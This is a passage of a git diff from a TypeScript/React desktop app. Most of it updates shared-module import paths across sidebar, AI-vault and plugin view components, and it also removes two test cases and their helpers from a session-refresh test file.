PluginViewReply, type PluginViewRequest } from '../../../../../shared/plugins/view/plugin-view-protocol' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { detectLanguage } from '../../../../../shared/editor-language/editor-language-detect' import { activateAndRevealWorkspace } from '@/lib/workspace/activation/worktree-activation' import { canShowRightSidebarForView } from '@/components/right-sidebar/visibility/right-sidebar-visibility' diff --git a/src/renderer/src/components/plugins/view/plugin-view-workspace-pick.ts b/src/renderer/src/components/plugins/view/plugin-view-workspace-pick.ts index 535c93c0fd2..25b40c90043 100644 --- a/src/renderer/src/components/plugins/view/plugin-view-workspace-pick.ts +++ b/src/renderer/src/components/plugins/view/plugin-view-workspace-pick.ts @@ -1,5 +1,5 @@ import { isWorktreeRetiredByRemoval } from '../../../../../shared/worktree/removal/removal-visibility' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { folderWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { getFolderWorkspaceWorktreeHostId } from '../../../../../shared/folder-workspaces/folder-workspace-worktree' import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types' diff --git a/src/renderer/src/components/provider-accounts/provider-account-scope.ts b/src/renderer/src/components/provider-accounts/provider-account-scope.ts index 6abc170f9c6..8af3fbd2e6f 100644 --- a/src/renderer/src/components/provider-accounts/provider-account-scope.ts +++ b/src/renderer/src/components/provider-accounts/provider-account-scope.ts @@ -1,8 +1,8 @@ import { translate } from '@/i18n/i18n' import type { Translate } from '@/i18n/use-translate' -import { getLocalExecutionHostLabel } from '../../../../shared/execution-host' +import { getLocalExecutionHostLabel } from '../../../../shared/execution-host/execution-host' import { translateLocalExecutionHostLabel } from '../sidebar/execution-host-label' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { defaultScopeHost } from '@/runtime/hosts/selection/default-creation-host' import type { RuntimeClientTarget } from '../../../../shared/remote-runtime/host-catalog/runtime-client-target' diff --git a/src/renderer/src/components/pull-request-page/files/combined-diff-viewer.tsx b/src/renderer/src/components/pull-request-page/files/combined-diff-viewer.tsx index 84dc788944c..db595a84700 100644 --- a/src/renderer/src/components/pull-request-page/files/combined-diff-viewer.tsx +++ b/src/renderer/src/components/pull-request-page/files/combined-diff-viewer.tsx @@ -25,7 +25,7 @@ import { type PRFilesCombinedDiffViewerProps } from '@/components/github/pr-file-diff-mapping' import { githubRepoIdentityKey } from '../../../../../shared/github/repositories/repository-identity-key' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { prFilesDiffScrollTopCache, prFilesDiffViewStateCache } from '../cache/files-diff-view' import { PRFilesDiffToolbar } from './toolbar' import { addPullRequestLineComment } from './line-comment' diff --git a/src/renderer/src/components/quick-open-file-list-test-harness.ts b/src/renderer/src/components/quick-open-file-list-test-harness.ts index 0f133cf0fa2..ac4bafb2aa4 100644 --- a/src/renderer/src/components/quick-open-file-list-test-harness.ts +++ b/src/renderer/src/components/quick-open-file-list-test-harness.ts @@ -3,7 +3,7 @@ import { act, createElement } from 'react' import { createRoot, type Root } from 'react-dom/client' import { afterEach, beforeEach } from 'vitest' -import { getDefaultSettings } from '../../../shared/constants' +import { getDefaultSettings } from '../../../shared/orca-profiles/constants' import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../shared/project/groups/project-group-types' import type { Worktree } from '../../../shared/worktree/types' diff --git a/src/renderer/src/components/repo/CreateFromPicker.tsx b/src/renderer/src/components/repo/CreateFromPicker.tsx index 843a3735e1f..5c0d471ec81 100644 --- a/src/renderer/src/components/repo/CreateFromPicker.tsx +++ b/src/renderer/src/components/repo/CreateFromPicker.tsx @@ -23,7 +23,7 @@ import { } from '../../../../shared/git/refs/branch-ref-label' import type { Repo } from '../../../../shared/repository/repo-types' import type { Worktree } from '../../../../shared/worktree/types' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getRuntimeRepoBaseRefDefault, searchRuntimeRepoBaseRefs diff --git a/src/renderer/src/components/right-sidebar/activity-bar/activity-bar-buttons.tsx b/src/renderer/src/components/right-sidebar/activity-bar/activity-bar-buttons.tsx index 24b4a64dd86..b8885176600 100644 --- a/src/renderer/src/components/right-sidebar/activity-bar/activity-bar-buttons.tsx +++ b/src/renderer/src/components/right-sidebar/activity-bar/activity-bar-buttons.tsx @@ -1,6 +1,6 @@ import React from 'react' import { MoreHorizontal } from 'lucide-react' -import type { ActiveRightSidebarTab } from '../../../../../shared/ui-chrome-types' +import type { ActiveRightSidebarTab } from '../../../../../shared/ui-chrome/ui-chrome-types' import type { CheckStatus as CoarseCheckStatus } from '../../../../../shared/github/pull-requests/pull-request-types' type CheckStatus = CoarseCheckStatus | 'cancelled' import { cn } from '@/lib/class-names' diff --git a/src/renderer/src/components/right-sidebar/activity-bar/activity-bar-overflow.ts b/src/renderer/src/components/right-sidebar/activity-bar/activity-bar-overflow.ts index 6272c0752c6..8f7d8152e6c 100644 --- a/src/renderer/src/components/right-sidebar/activity-bar/activity-bar-overflow.ts +++ b/src/renderer/src/components/right-sidebar/activity-bar/activity-bar-overflow.ts @@ -1,4 +1,4 @@ -import type { ActiveRightSidebarTab } from '../../../../../shared/ui-chrome-types' +import type { ActiveRightSidebarTab } from '../../../../../shared/ui-chrome/ui-chrome-types' const TOP_ACTIVITY_BUTTON_WIDTH = 36 const TOP_ACTIVITY_MORE_BUTTON_WIDTH = 32 diff --git a/src/renderer/src/components/right-sidebar/activity-bar/activity-bar-position-menu.tsx b/src/renderer/src/components/right-sidebar/activity-bar/activity-bar-position-menu.tsx index bfebfa6c04b..5ba89229917 100644 --- a/src/renderer/src/components/right-sidebar/activity-bar/activity-bar-position-menu.tsx +++ b/src/renderer/src/components/right-sidebar/activity-bar/activity-bar-position-menu.tsx @@ -1,7 +1,7 @@ import React, { useState } from 'react' import { Power } from 'lucide-react' import { toast } from 'sonner' -import type { ActivityBarPosition } from '../../../../../shared/ui-chrome-types' +import type { ActivityBarPosition } from '../../../../../shared/ui-chrome/ui-chrome-types' import { ContextMenuContent, ContextMenuItem, diff --git a/src/renderer/src/components/right-sidebar/activity-bar/right-sidebar-effective-tab.ts b/src/renderer/src/components/right-sidebar/activity-bar/right-sidebar-effective-tab.ts index 699d9891e20..54187b98a0d 100644 --- a/src/renderer/src/components/right-sidebar/activity-bar/right-sidebar-effective-tab.ts +++ b/src/renderer/src/components/right-sidebar/activity-bar/right-sidebar-effective-tab.ts @@ -1,4 +1,4 @@ -import type { ActiveRightSidebarTab } from '../../../../../shared/ui-chrome-types' +import type { ActiveRightSidebarTab } from '../../../../../shared/ui-chrome/ui-chrome-types' import type { ActivityBarItem } from './activity-bar-buttons' type ResolveRightSidebarEffectiveTabParams = { diff --git a/src/renderer/src/components/right-sidebar/activity-bar/right-sidebar-top-activity-bar.tsx b/src/renderer/src/components/right-sidebar/activity-bar/right-sidebar-top-activity-bar.tsx index 9d112ed6d78..ffc82a8bba7 100644 --- a/src/renderer/src/components/right-sidebar/activity-bar/right-sidebar-top-activity-bar.tsx +++ b/src/renderer/src/components/right-sidebar/activity-bar/right-sidebar-top-activity-bar.tsx @@ -2,7 +2,7 @@ import React from 'react' import type { ActiveRightSidebarTab, ActivityBarPosition -} from '../../../../../shared/ui-chrome-types' +} from '../../../../../shared/ui-chrome/ui-chrome-types' import type { CheckStatus as CoarseCheckStatus } from '../../../../../shared/github/pull-requests/pull-request-types' type CheckStatus = CoarseCheckStatus | 'cancelled' import { cn } from '@/lib/class-names' diff --git a/src/renderer/src/components/right-sidebar/activity-bar/use-right-sidebar-tab-routing.ts b/src/renderer/src/components/right-sidebar/activity-bar/use-right-sidebar-tab-routing.ts index b9ba18ca66d..81465f641f7 100644 --- a/src/renderer/src/components/right-sidebar/activity-bar/use-right-sidebar-tab-routing.ts +++ b/src/renderer/src/components/right-sidebar/activity-bar/use-right-sidebar-tab-routing.ts @@ -1,6 +1,6 @@ import { useEffect, useRef } from 'react' import { useAppStore } from '@/store/index' -import type { ActiveRightSidebarTab } from '../../../../../shared/ui-chrome-types' +import type { ActiveRightSidebarTab } from '../../../../../shared/ui-chrome/ui-chrome-types' import type { PluginPanelsFetchStatus } from '@/store/plugins/catalog/plugin-contribution-catalog' import { normalizeRightSidebarRoute } from '@/store/slices/right-sidebar/right-sidebar-route' import { resolveRightSidebarEffectiveTab } from './right-sidebar-effective-tab' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/accounts/ai-vault-account-binding.ts b/src/renderer/src/components/right-sidebar/ai-vault/accounts/ai-vault-account-binding.ts index bce28185c18..7a2533330a6 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/accounts/ai-vault-account-binding.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/accounts/ai-vault-account-binding.ts @@ -1,7 +1,7 @@ import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' import { isLegacyAgentSessionAccountHome } from '../../../../../../shared/agent-session/lifecycle/accounts/agent-session-account-home' import { normalizeRuntimePathForComparison } from '../../../../../../shared/file-access/cross-platform-path' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' export type SessionAccountSource = Pick< diff --git a/src/renderer/src/components/right-sidebar/ai-vault/accounts/ai-vault-account-test-fixture.tsx b/src/renderer/src/components/right-sidebar/ai-vault/accounts/ai-vault-account-test-fixture.tsx index d0aa4cbc65f..3c501f1e303 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/accounts/ai-vault-account-test-fixture.tsx +++ b/src/renderer/src/components/right-sidebar/ai-vault/accounts/ai-vault-account-test-fixture.tsx @@ -1,9 +1,9 @@ import { memo } from 'react' import { act, cleanup, fireEvent, render, within, type RenderResult } from '@testing-library/react' import { afterEach, beforeEach, expect, vi } from 'vitest' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' -import { getDefaultSettings } from '../../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' import { searchHit } from '../../../../../../shared/ai-vault/search/ai-vault-search-test-fixture' import { useAppStore } from '../../../../store/index' import { TooltipProvider } from '@/components/ui/tooltip' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/accounts/ai-vault-saved-account-index.ts b/src/renderer/src/components/right-sidebar/ai-vault/accounts/ai-vault-saved-account-index.ts index cbd7197c889..5711d210ddb 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/accounts/ai-vault-saved-account-index.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/accounts/ai-vault-saved-account-index.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { normalizeRuntimePathForComparison } from '../../../../../../shared/file-access/cross-platform-path' import { structuralValuesEqual } from '../../../../../../shared/collections/structural-value-equality' import { normalizeCodexAccountEmail } from '@/lib/provider-accounts/codex-account-display-label' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanelControls.tsx b/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanelControls.tsx index ecef92271a3..03c12c8ad90 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanelControls.tsx +++ b/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanelControls.tsx @@ -29,7 +29,7 @@ import { type AiVaultGroup, type AiVaultScope } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostScope } from '../../../../../../shared/execution-host' +import type { ExecutionHostScope } from '../../../../../../shared/execution-host/execution-host' import '../session-list/ai-vault-session-filters' import { agentLabel, diff --git a/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanelHeader.tsx b/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanelHeader.tsx index c7bea03d91b..4cb3ac02d49 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanelHeader.tsx +++ b/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanelHeader.tsx @@ -8,7 +8,7 @@ import type { AiVaultGroup, AiVaultScope } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostScope } from '../../../../../../shared/execution-host' +import type { ExecutionHostScope } from '../../../../../../shared/execution-host/execution-host' import { VaultHostScopeMenu, VaultScopeSwitch, VaultViewMenu } from './AiVaultPanelControls' import type { AiVaultHostScopeOption } from '../scope/ai-vault-host-scope' import type { AiVaultSessionLimit } from '../session-list/ai-vault-session-limit' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/panel/agent-session-history-modal.ts b/src/renderer/src/components/right-sidebar/ai-vault/panel/agent-session-history-modal.ts index d5a51f2a674..6aa19d0f9dc 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/panel/agent-session-history-modal.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/panel/agent-session-history-modal.ts @@ -1,5 +1,5 @@ import { useAppStore } from '@/store/index' -import { normalizeExecutionHostId } from '../../../../../../shared/execution-host' +import { normalizeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { isAiVaultAgent, type AiVaultAgent diff --git a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-association-observation.ts b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-association-observation.ts index 08c106513f4..48565aa05a6 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-association-observation.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-association-observation.ts @@ -5,7 +5,7 @@ import { structuredAgentSessionTargetForHost } from '@/runtime/native-chat/sessi import { type ExecutionHostScope, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { invalidateAiVaultSessionResults } from './ai-vault-session-result-cache' /** List and search activate the same host feeds, independently of open chat tabs. */ diff --git a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-scan-progress-store.ts b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-scan-progress-store.ts index ebcfb1592e9..3ae4cf72641 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-scan-progress-store.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-scan-progress-store.ts @@ -3,7 +3,7 @@ import type { AiVaultScanProgress } from '../../../../../../shared/ai-vault/scan import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostScope -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' const MAX_PROGRESS_ENTRIES = 8 const progressByKey = new Map() diff --git a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-list-request.ts b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-list-request.ts index ace3b702f1a..70c4b0e34b7 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-list-request.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-list-request.ts @@ -5,7 +5,7 @@ import type { import { parseRoutableExecutionHostId, type ExecutionHostScope -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { AiVaultSessionLimit } from '../session-list/ai-vault-session-limit' import { aiVaultSessionResultCacheKey, diff --git a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-refresh.test.ts b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-refresh.test.ts index c70c260fa48..1617ce9081d 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-refresh.test.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-refresh.test.ts @@ -1,12 +1,11 @@ -import { acceptedAgentStatuses } from '@/store/slices/agent-status/accepted-agent-statuses' +import '@/store/slices/agent-status/accepted-agent-statuses' // @vitest-environment happy-dom import { act, createElement } from 'react' import { createRoot, type Root } from 'react-dom/client' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { AgentStatusEntry } from '../../../../../../shared/agent-status/contracts/agent-status-types' -import type { ExecutionHostScope } from '../../../../../../shared/execution-host' +import type { ExecutionHostScope } from '../../../../../../shared/execution-host/execution-host' import { useAppStore } from '@/store/index' import { resetAiVaultForcedRescanThrottleForTest, @@ -114,18 +113,6 @@ async function flushMicrotasks(): Promise { }) } -function makeAgentEntry(sessionId: string, state = 'working'): AgentStatusEntry { - return { - state, - prompt: '', - updatedAt: 0, - stateStartedAt: 0, - paneKey: `tab-${sessionId}:leaf-${sessionId}`, - stateHistory: [], - providerSession: { key: 'session_id', id: sessionId } - } as AgentStatusEntry -} - function makeVaultSession(index: number): AiVaultSession { const id = `session-${index}` const timestamp = new Date(Date.UTC(2026, 6, 1, 0, 0, index)).toISOString() @@ -153,17 +140,6 @@ function makeVaultSession(index: number): AiVaultSession { } } -async function setAgentStatuses(entries: Record): Promise { - await act(async () => { - useAppStore.setState({ agentStatusByPaneKey: acceptedAgentStatuses(Object.entries(entries)) }) - }) - await flushMicrotasks() -} - -function lastCallArgs(): unknown { - return listSessionsMock.mock.calls.at(-1)?.[0] -} - beforeEach(() => { vi.useFakeTimers() listSessionsMock.mockReset().mockResolvedValue(EMPTY_RESULT) @@ -191,44 +167,6 @@ afterEach(() => { }) describe('useAiVaultSessionRefresh refocus behavior', () => { - it('does not apply stale results after the host scope changes mid-scan', async () => { - let resolveLocal: ((result: AiVaultListResult) => void) | null = null - let resolveSsh: ((result: AiVaultListResult) => void) | null = null - listSessionsMock - .mockImplementationOnce( - () => new Promise((resolve) => (resolveLocal = resolve)) - ) - .mockImplementationOnce( - () => new Promise((resolve) => (resolveSsh = resolve)) - ) - - await renderHook([], 'local') - expect(listSessionsMock).toHaveBeenCalledTimes(1) - - await rerenderHook(['/remote/repo'], 'ssh:dev-box') - expect(listSessionsMock).toHaveBeenCalledTimes(1) - expect(cancelListSessionsMock).toHaveBeenCalledTimes(1) - - await act(async () => { - resolveLocal?.({ ...EMPTY_RESULT, scannedAt: '2026-07-01T00:00:01.000Z' }) - }) - await flushMicrotasks() - - expect(latest?.scanResult).toBeNull() - expect(listSessionsMock).toHaveBeenCalledTimes(2) - expect(lastCallArgs()).toMatchObject({ - executionHostScope: 'ssh:dev-box', - scopePaths: ['/remote/repo'] - }) - - await act(async () => { - resolveSsh?.({ ...EMPTY_RESULT, scannedAt: '2026-07-01T00:00:02.000Z' }) - }) - await flushMicrotasks() - - expect(latest?.scanResult?.scannedAt).toBe('2026-07-01T00:00:02.000Z') - }) - it('does not show Workspace-only rows under All while All loads or after it fails', async () => { let failAll: (error: Error) => void = () => {} listSessionsMock.mockImplementation((args) => @@ -272,49 +210,6 @@ describe('useAiVaultSessionRefresh refocus behavior', () => { await flushMicrotasks() expect(latest?.sessions.map((session) => session.id)).toEqual(['session-1']) }) - - it('replaces a stuck scan on manual Refresh without cancelling an automatic rescan', async () => { - let resolveInitial: ((result: AiVaultListResult) => void) | null = null - let resolveReplacement: ((result: AiVaultListResult) => void) | null = null - listSessionsMock - .mockImplementationOnce( - () => new Promise((resolve) => (resolveInitial = resolve)) - ) - .mockImplementationOnce( - () => new Promise((resolve) => (resolveReplacement = resolve)) - ) - await renderHook() - expect(latest?.loading).toBe(true) - - await setAgentStatuses({ 'pane-1': makeAgentEntry('new-session') }) - expect(listSessionsMock).toHaveBeenCalledTimes(1) - expect(cancelListSessionsMock).not.toHaveBeenCalled() - - cancelListSessionsMock.mockImplementationOnce(async () => { - resolveInitial?.({ - ...EMPTY_RESULT, - sessions: [makeVaultSession(1)], - cancelled: true - }) - }) - await act(async () => { - await latest?.refresh({ force: true }) - }) - await flushMicrotasks() - - expect(cancelListSessionsMock).toHaveBeenCalledExactlyOnceWith({ - requestToken: listSessionsMock.mock.calls[0]?.[0].requestToken - }) - expect(listSessionsMock).toHaveBeenCalledTimes(2) - expect(listSessionsMock.mock.calls[1]?.[0]).toMatchObject({ force: true }) - expect(latest?.scanResult).toBeNull() - expect(latest?.error).toBeNull() - - await act(async () => { - resolveReplacement?.({ ...EMPTY_RESULT, sessions: [makeVaultSession(2)] }) - }) - expect(latest?.sessions.map((session) => session.id)).toEqual(['session-2']) - }) }) function deferredList(): { diff --git a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-refresh.ts b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-refresh.ts index 62a47101d78..7dfd1ad0c21 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-refresh.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-refresh.ts @@ -1,7 +1,7 @@ import { useCallback, useEffect, useLayoutEffect, useRef, useState } from 'react' import { aiVaultScanErrorText } from './ai-vault-scan-issue-copy' -import type { ExecutionHostScope } from '../../../../../../shared/execution-host' +import type { ExecutionHostScope } from '../../../../../../shared/execution-host/execution-host' import type { AiVaultSessionLimit } from '../session-list/ai-vault-session-limit' import { AiVaultSessionPublicationGate } from './ai-vault-session-publication-gate' import { EMPTY_AI_VAULT_SESSIONS } from '../session-list/ai-vault-session-identity' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-result-cache.ts b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-result-cache.ts index 0e11209082f..d2f2a88c33e 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-result-cache.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-session-result-cache.ts @@ -1,5 +1,5 @@ import type { AiVaultListResult } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostScope } from '../../../../../../shared/execution-host' +import type { ExecutionHostScope } from '../../../../../../shared/execution-host/execution-host' import { aiVaultCachedDepthServes, aiVaultSessionDepthCovers, diff --git a/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-host-scope.ts b/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-host-scope.ts index a39281d94ab..2306d9c0f12 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-host-scope.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-host-scope.ts @@ -9,7 +9,7 @@ import { toRuntimeExecutionHostId, type ExecutionHostId, type ExecutionHostScope -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { PublicKnownRuntimeEnvironment } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments' import type { AiVaultSessionResumeTargetState } from '../session-actions/ai-vault-session-resume' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-panel-workspace.ts b/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-panel-workspace.ts index 24f7513902c..dd6d3a1fa22 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-panel-workspace.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-panel-workspace.ts @@ -1,7 +1,7 @@ import type { AppState } from '@/store/types' import { selectKnownWorktreeById } from '@/store/workspaces/selection/known-worktree-selection' import { selectRepoByIdForActiveWorkspace } from '@/store/repos/active-workspace-repository' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' /** A Session History panel's workspace; the host matters as worktree ids repeat across hosts. */ export type AiVaultPanelWorkspace = { diff --git a/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-session-projects.ts b/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-session-projects.ts index 21418f994a0..c76d130cf2c 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-session-projects.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-session-projects.ts @@ -6,7 +6,7 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { ProjectHostSetupProjection } from '../../../../../../shared/project/host-setup/project-host-setup-projection' import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' import type { ProjectHostSetup } from '../../../../../../shared/project/project-types' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/search/AiVaultPanelSearch.tsx b/src/renderer/src/components/right-sidebar/ai-vault/search/AiVaultPanelSearch.tsx index 2fb37d44595..d142041515f 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/search/AiVaultPanelSearch.tsx +++ b/src/renderer/src/components/right-sidebar/ai-vault/search/AiVaultPanelSearch.tsx @@ -5,7 +5,7 @@ import { useTranslate, type Translate } from '@/i18n/use-translate' import { useAppStore } from '@/store/index' import { resolveAiVaultSearchSettings } from '../../../../../../shared/ai-vault/search/ai-vault-search-settings' import type { AiVaultSearchHostOutcome } from '../../../../../../shared/ai-vault/search/ai-vault-search-types' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getTranslatedExecutionHostLabel } from '../../../sidebar/execution-host-label' import type { useAiVaultPanelSearch } from './use-ai-vault-search' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/search/ai-vault-search-hit-hosts.ts b/src/renderer/src/components/right-sidebar/ai-vault/search/ai-vault-search-hit-hosts.ts index 84fbb2c1a44..fcda8842dec 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/search/ai-vault-search-hit-hosts.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/search/ai-vault-search-hit-hosts.ts @@ -1,7 +1,7 @@ import { translate } from '@/i18n/i18n' import type { Translate } from '@/i18n/use-translate' import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getTranslatedExecutionHostLabel } from '../../../sidebar/execution-host-label' import { aiVaultHostScopeLabel, type AiVaultHostScopeOption } from '../scope/ai-vault-host-scope' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/search/ai-vault-search-session.ts b/src/renderer/src/components/right-sidebar/ai-vault/search/ai-vault-search-session.ts index be15baa6edf..058d1a455c2 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/search/ai-vault-search-session.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/search/ai-vault-search-session.ts @@ -1,7 +1,7 @@ import { useMemo } from 'react' import type { AiVaultSearchHit } from '../../../../../../shared/ai-vault/search/ai-vault-search-types' import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { withAiVaultSessionCwdAliases } from '../../../../../../shared/ai-vault/scanning/ai-vault-session-cwd-aliases' import type { AiVaultPanelListMode } from '../session-list/ai-vault-session-filters' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/search/use-ai-vault-search.ts b/src/renderer/src/components/right-sidebar/ai-vault/search/use-ai-vault-search.ts index 2c8996f156e..9fb7bc68d45 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/search/use-ai-vault-search.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/search/use-ai-vault-search.ts @@ -10,7 +10,7 @@ import { parseExecutionHostId, type ExecutionHostId, type ExecutionHostScope -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { AiVaultAgent, AiVaultSearchSort, diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-deletability.ts b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-deletability.ts index 6799f8d0a33..f3305c81b7e 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-deletability.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-deletability.ts @@ -3,7 +3,7 @@ import { isAiVaultSyntheticSessionPath as isSyntheticAiVaultSessionPath } from '../../../../../../shared/ai-vault/contracts/ai-vault-session-deletion' import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' -import { parseRoutableExecutionHostId } from '../../../../../../shared/execution-host' +import { parseRoutableExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import type { Translate } from '@/i18n/use-translate' import '../session-list/ai-vault-session-filters' diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-path-actions.ts b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-path-actions.ts index 5745ad6aca2..89cdb8dde95 100644 --- a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-path-actions.ts +++ b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-path-actions.ts @@ -2,7 +2,7 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { 